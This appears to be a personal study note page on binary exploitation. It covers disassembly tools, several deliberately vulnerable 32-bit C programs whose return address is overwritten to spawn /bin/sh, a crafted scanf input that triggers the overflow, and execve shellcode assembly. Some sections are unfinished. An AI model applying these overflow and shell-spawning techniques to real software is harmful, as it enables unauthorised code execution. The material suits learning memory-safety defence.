Security

Useful Commands

  • file

  • hexdump

  • ldd

  • objdump

  • strace

  • ltrace

  • valgrind

  • dmesg

Binary to Assembly

$ sudo pacman -S nasm
$ ndisasm BINARY

Memory Checking

$ sudo pacman -S valgrind-multilib  # for both x86_64 and x86

IDA Pro

Buffer Overflow

Buffer Overflow - Example 1

hack EIP in your own code

#include <stdio.h>
#include <stdlib.h>     // system

void func() {
    printf("buffer overflow\n");
    system("/bin/sh");
}

void bof() {
    char buf[10];
    *(int *) &buf[10 + 4] = func;   // buf[10] => ebp, buf[14] => eip
}

int main() {
    bof();
    return 0;
}

/*

In order to address all memory, pointer is 32 bits (4 bytes) on 32 bits machine

        +-----------------+ high address
        |                 |
        |                 |
        +-----------------+
        | Stack         | |
        |               | |
        |               v |
        +-----------------+
        |                 |
        | ...             |
        |                 |
        +-----------------+
        | (main)          |
        | return address  |
        | (eip)           |
EBP+12  |                 |
        +-----------------+
        | (main)          |
        | saved ebp       |
        |                 |
EBP+8   |                 |
        +-----------------+
        | (bof)           |        EIP
        | return address  |        EIP
        | (eip)           |        EIP
EBP+4   |                 | <----- EIP
        +-----------------+
        | (bof)           |        EBP
        | saved ebp       |        EBP
        |                 |        EBP
EBP     |                 | <----- EBP
        +-----------------+
        | buf[9]          |
        | buf[8]          |
        | buf[7]          |
        | buf[6]          |
        | buf[5]          |
        | buf[4]          |
        | buf[3]          |
        | buf[2]          |
        | buf[1]          |
EBP-10  | buf[0]          | <----- buf
        +-----------------+
        | ...             |
        |                 |
        +-----------------+ low address

*/

compile

$ gcc -m32 bof_1.c -o bof_1

Buffer Overflow - Example 2

hack EIP in your own code (with arguments)

#include <stdio.h>
#include <stdlib.h>     // system

void func() {
    printf("buffer overflow\n");
    system("/bin/sh");
}

void bof(long a, long b, long c, long d,
         long e, long f, long g, long h) {

    printf("bof test\n");
    char buf[10];
    *(int *) &buf[10 + 8 + 4] = func;

}

int main(int argc, char *argv[]) {
    printf("start\n");
    bof(1, 2, 3, 4, 5, 6, 7, 8);
    printf("end\n");
    return 0;
}

/*

In order to address all memory, pointer is 32 bits (4 bytes) on 32 bits machine

        +-----------------+ high address
        |                 |
        |                 |
        +-----------------+
        | Stack         | |
        |               | |
        |               v |
        +-----------------+
        |                 |
        | ...             |
        |                 |
        +-----------------+
        | (main)          |
        | return address  |
        | (eip)           |
        |                 |
        +-----------------+
        | (main)          |
        | ???             |
        | (20 bytes)      |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        +-----------------+
        | (main)          |
        | saved ebp       |
        |                 |
        |                 |
        +-----------------+
        | ???             |
        | 8 bytes         |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |
        | h               |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |
        | g               |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |
        | f               |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |
        | e               |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |
        | d               |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |
        | c               |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |
        | b               |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |
        | a               |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |        EIP
        | return address  |        EIP
        | (eip)           |        EIP
EBP+4   |                 | <----- EIP
        +-----------------+
        | (bof)           |        EBP
        | saved ebp       |        EBP
        |                 |        EBP
EBP     |                 | <----- EBP
        +-----------------+
        | ???             |
        | 8 bytes         |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        +-----------------+
        | buf[9]          |
        | buf[8]          |
        | buf[7]          |
        | buf[6]          |
        | buf[5]          |
        | buf[4]          |
        | buf[3]          |
        | buf[2]          |
        | buf[1]          |
        | buf[0]          | <----- buf
        +-----------------+
        | ...             |
        |                 |
        +-----------------+ low address

*/

compile

$ gcc -m32 bof_2.c -o bof_2

Buffer Overflow - Example 3

hack EIP by scanf

(notice: scanf 和 gets 都會在結尾加上 『0』)

#include <stdio.h>
#include <stdlib.h>     // system

void func() {
    printf("buffer overflow\n");
    system("/bin/sh");
}

void bof(long a, long b, long c, long d,
         long e, long f, long g, long h) {

    printf("bof test\n");
    char buf[10];
    scanf("%s", buf);

}

int main(int argc, char *argv[]) {
    printf("start\n");
    bof(1, 2, 3, 4, 5, 6, 7, 8);
    printf("end\n");
    return 0;
}

compile

$ gcc -m32 bof_3.c -o bof_3

generate input

$ readelf -a ./bof_3  | grep func   # func's address is 0x080484fb
    40: 080484fb    41 FUNC    GLOBAL DEFAULT   13 func
$ python -c "print('0123456789123456781234' + chr(0xfb) + chr(0x84) + chr(0x04) + chr(0x08))" > input.utf8
$ iconv -f utf-8 -t iso-8859-1 input.utf8 > input.latin1    # use eight-bit ASCII extensions instead of UTF8
$ ./bof_3 < input.latin1
start
bof test
buffer overflow
Segmentation fault (core dumped)

Buffer Overflow - Example 4

[todo]

inject your code (shellcode)

#include <stdio.h>

void bof(long a, long b, long c, long d,
         long e, long f, long g, long h) {

    printf("bof test\n");
    char buf[10];
    scanf("%s", buf);

}

int main(int argc, char *argv[]) {
    printf("start\n");
    bof(1, 2, 3, 4, 5, 6, 7, 8);
    printf("end\n");
    return 0;
}

Assembly Practice

寫到 stdout:

.data
msg:
    .ascii "Hello World!\n"

.text
.globl _start

_start:
    movl $4, %eax   # use the write syscall
    movl $1, %ebx   # write to stdout
    movl $msg, %ecx # use string of msg
    movl $13, %edx  # write 13 characters
    int $0x80       # make syscall

    movl $1, %eax   # use the _exit syscall
    movl $0, %ebx   # error code 0
    int $0x80       # make syscall

使用 execve system call

.data
cmd:
    .ascii "/bin/sh"

.text
.globl _start

_start:
    movl $11, %eax  # use the execve syscall
    movl $cmd, %ebx # use string of cmd
    int $0x80       # make syscall

    movl $1, %eax   # use the _exit syscall
    movl $0, %ebx   # error code 0
    int $0x80       # make syscall

ignore _exit, make it shorter

.data
cmd:
    .ascii "/bin/sh"

.text
.globl _start

_start:
    movl $11, %eax  # use the execve syscall
    movl $cmd, %ebx # use string of cmd
    int $0x80       # make syscall

compile

$ gcc -nostdlib practice.s -o practice

觀察

$ gdb /usr/lib32/libc.so.6
(gdb) disassemble execve
Dump of assembler code for function execve:
0x000b29a0 <+0>:     push   %ebx
0x000b29a1 <+1>:     mov    0x10(%esp),%edx  # put address of **envp into edx register
0x000b29a5 <+5>:     mov    0xc(%esp),%ecx   # put address of **argv into ecx register
0x000b29a9 <+9>:     mov    0x8(%esp),%ebx   # put address of *filename into ebx register
0x000b29ad <+13>:    mov    $0xb,%eax        # put 0xb in eax register; 0xb == execve in the internal system call table (32 bits Linux kernel)
0x000b29b2 <+18>:    call   *%gs:0x10
0x000b29b9 <+25>:    pop    %ebx
0x000b29ba <+26>:    cmp    $0xfffff001,%eax
0x000b29bf <+31>:    jae    0xb29c2 <execve+34>
0x000b29c1 <+33>:    ret
0x000b29c2 <+34>:    call   0x12158d <__x86.get_pc_thunk.cx>
0x000b29c7 <+39>:    add    $0x100639,%ecx
0x000b29cd <+45>:    mov    -0xe4(%ecx),%ecx
0x000b29d3 <+51>:    neg    %eax
0x000b29d5 <+53>:    add    %gs:0x0,%ecx
0x000b29dc <+60>:    mov    %eax,(%ecx)
0x000b29de <+62>:    or     $0xffffffff,%eax
0x000b29e1 <+65>:    ret
End of assembler dump.
(gdb) disassemble system
Dump of assembler code for function system:
0x0003ae00 <+0>:     sub    $0xc,%esp
0x0003ae03 <+3>:     mov    0x10(%esp),%eax
0x0003ae07 <+7>:     call   0x121585 <__x86.get_pc_thunk.dx>
0x0003ae0c <+12>:    add    $0x1781f4,%edx
0x0003ae12 <+18>:    test   %eax,%eax
0x0003ae14 <+20>:    je     0x3ae20 <system+32>
0x0003ae16 <+22>:    add    $0xc,%esp
0x0003ae19 <+25>:    jmp    0x3a8a0 <do_system>
0x0003ae1e <+30>:    xchg   %ax,%ax
0x0003ae20 <+32>:    lea    -0x55d5f(%edx),%eax
0x0003ae26 <+38>:    call   0x3a8a0 <do_system>
0x0003ae2b <+43>:    test   %eax,%eax
0x0003ae2d <+45>:    sete   %al
0x0003ae30 <+48>:    add    $0xc,%esp
0x0003ae33 <+51>:    movzbl %al,%eax
0x0003ae36 <+54>:    ret
End of assembler dump.
$ gdb /usr/lib/libc.so.6
(gdb) disassemble execve
Dump of assembler code for function execve:
0x00000000000b7c90 <+0>:     mov    $0x3b,%eax
0x00000000000b7c95 <+5>:     syscall
0x00000000000b7c97 <+7>:     cmp    $0xfffffffffffff001,%rax
0x00000000000b7c9d <+13>:    jae    0xb7ca0 <execve+16>
0x00000000000b7c9f <+15>:    retq
0x00000000000b7ca0 <+16>:    mov    0x2e41b1(%rip),%rcx        # 0x39be58
0x00000000000b7ca7 <+23>:    neg    %eax
0x00000000000b7ca9 <+25>:    mov    %eax,%fs:(%rcx)
0x00000000000b7cac <+28>:    or     $0xffffffffffffffff,%rax
0x00000000000b7cb0 <+32>:    retq
End of assembler dump.
(gdb) disassemble system
Dump of assembler code for function system:
0x000000000003f820 <+0>:     test   %rdi,%rdi
0x000000000003f823 <+3>:     je     0x3f830 <system+16>
0x000000000003f825 <+5>:     jmpq   0x3f2b0 <do_system>
0x000000000003f82a <+10>:    nopw   0x0(%rax,%rax,1)
0x000000000003f830 <+16>:    lea    0x124449(%rip),%rdi        # 0x163c80
0x000000000003f837 <+23>:    sub    $0x8,%rsp
0x000000000003f83b <+27>:    callq  0x3f2b0 <do_system>
0x000000000003f840 <+32>:    test   %eax,%eax
0x000000000003f842 <+34>:    sete   %al
0x000000000003f845 <+37>:    add    $0x8,%rsp
0x000000000003f849 <+41>:    movzbl %al,%eax
0x000000000003f84c <+44>:    retq
End of assembler dump.

Buffer Overflow - Example 5

[todo]

Buffer Overflow - Example 6

[todo]